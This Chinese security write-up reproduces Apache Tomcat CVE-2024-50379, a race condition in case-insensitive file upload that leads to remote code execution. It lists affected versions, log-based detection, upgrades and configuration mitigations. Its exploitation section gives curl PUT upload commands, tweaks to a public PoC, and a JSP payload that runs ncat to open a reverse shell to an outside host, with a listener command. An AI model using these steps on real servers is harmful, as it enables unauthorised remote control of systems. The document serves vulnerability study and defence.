【已复现】tomcat CVE-2024-50379
字数 1759 2025-08-29 22:41:44
Apache Tomcat CVE-2024-50379 漏洞分析与利用指南
漏洞概述
CVE-2024-50379 是 Apache Tomcat 中存在的一个检查时间使用时间 (TOCTOU) 漏洞。该漏洞允许攻击者在特定条件下通过文件上传实现远程代码执行 (RCE)。
漏洞类型
- TOCTOU (Time of Check Time of Use) 竞争条件漏洞
- 可能导致远程代码执行 (RCE)
受影响版本
- 9.x 系列: 9.0.0.M1 <= Apache Tomcat <= 9.0.98
- 10.x 系列: 10.1.0-M1 <= Apache Tomcat <= 10.1.34
- 11.x 系列: 11.0.0-M1 <= Apache Tomcat <= 11.0.2
漏洞成因
该漏洞的产生需要满足以下条件:
-
默认 Servlet 配置不安全:
- 默认 Servlet 启用了写入功能 (
readonly=false) - 示例不安全配置:
<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
- 默认 Servlet 启用了写入功能 (
-
运行在不区分大小写的系统上:
- 如 Windows 或 macOS
- 在 Linux 等区分大小写的系统上无法利用
-
利用机制:
- 攻击者可以上传带有特定扩展名(如
.Jsp或.JSP)的文件 - 通过竞争条件,Tomcat 可能将上传的文件当作可执行的 JSP servlet 处理
- 结合反序列化利用链实现 RCE
- 攻击者可以上传带有特定扩展名(如
漏洞利用
利用条件
- 默认 Servlet 开启写入操作 (
readonly=false) - 使用基于文件存储的 session,且存储路径默认
- 存在反序列化利用链的 jar 包
利用步骤
-
验证写入权限:
curl -X PUT -d "test" http://IP:8080/demo.jsp -
上传恶意文件:
- 上传扩展名为
.Jsp或.JSP的文件:curl -X PUT -d "<恶意代码>" http://IP:8080/demo.Jsp
- 上传扩展名为
-
利用竞争条件:
- 通过大量请求使服务器过载
- 尝试访问上传的文件作为可执行 JSP
PoC 修改建议
原始 PoC (https://github.com/iSee857/CVE-2024-50379-PoC) 可进行以下优化:
-
修改循环计数器:
# 原始代码: for _ in range(10000): for _ in range(2000): # 更高效的循环次数 -
更改 Payload:
<%@ page import="java.io.*" %> <% Runtime.getRuntime().exec("cmd /c start ncat -e cmd.exe IP 8888"); %> -
执行攻击:
python3 ApachTomcat_CVE-2024-50379_ConditionalCompetitionToRce.py -u IP:8080 -
监听反弹 shell:
netcat -lvnp 8888
注意:
- 可能需要重复执行 PoC 3-4 次才能成功
- 攻击期间终端可能看似停滞,这是正常现象
检测方法
Web 访问日志检测
在 access_log 中查找以下模式:
-
直接上传攻击:
PUT /cve.Jsp GET /cve.jsp- 重复大量此类请求
- 最终会返回 200 状态码(成功)或 404(失败)
-
通过上传表单攻击:
POST /app/template-upload.jsp GET /uploads/revshell.jsp
系统日志检测
-
文件创建监控:
- 查找可疑的 JSP 文件创建
- 特别是包含
exec()等危险字符串的文件
-
进程执行监控:
- Tomcat 进程生成 CMD 或 PowerShell 子进程
- 异常进程创建行为
修复方案
官方修复版本
- 11.x 系列: 升级到 11.0.3 或更高
- 10.x 系列: 升级到 10.1.35 或更高
- 9.x 系列: 升级到 9.0.99 或更高
临时缓解措施
-
配置修复:
- 确保默认 Servlet 配置为
readonly=true
<init-param> <param-name>readonly</param-name> <param-value>true</param-value> </init-param> - 确保默认 Servlet 配置为
-
Java 系统属性调整:
- Java 8/11 用户: 设置
sun.io.useCanonCaches=false - Java 17 用户: 确保
sun.io.useCanonCaches未设置为false
- Java 8/11 用户: 设置
技术背景
TOCTOU 原理
TOCTOU (Time of Check Time of Use) 漏洞是由于:
- 系统检查资源状态
- 在使用资源前,资源状态被改变
- 系统使用了改变后的资源
在本漏洞中:
- Tomcat 检查文件扩展名(区分大小写)
- 操作系统处理文件时不区分大小写
- 通过竞争条件绕过安全检查
文件扩展名处理差异
- Tomcat: 严格区分
.jsp和.Jsp - Windows/macOS: 不区分大小写,视为同一文件
- Linux: 区分大小写,无法利用此漏洞
总结
CVE-2024-50379 是一个严重的 Tomcat 漏洞,允许攻击者在特定条件下实现远程代码执行。管理员应立即检查服务器配置并升级到修复版本。对于无法立即升级的系统,应实施推荐的缓解措施,特别是确保默认 Servlet 配置为只读模式。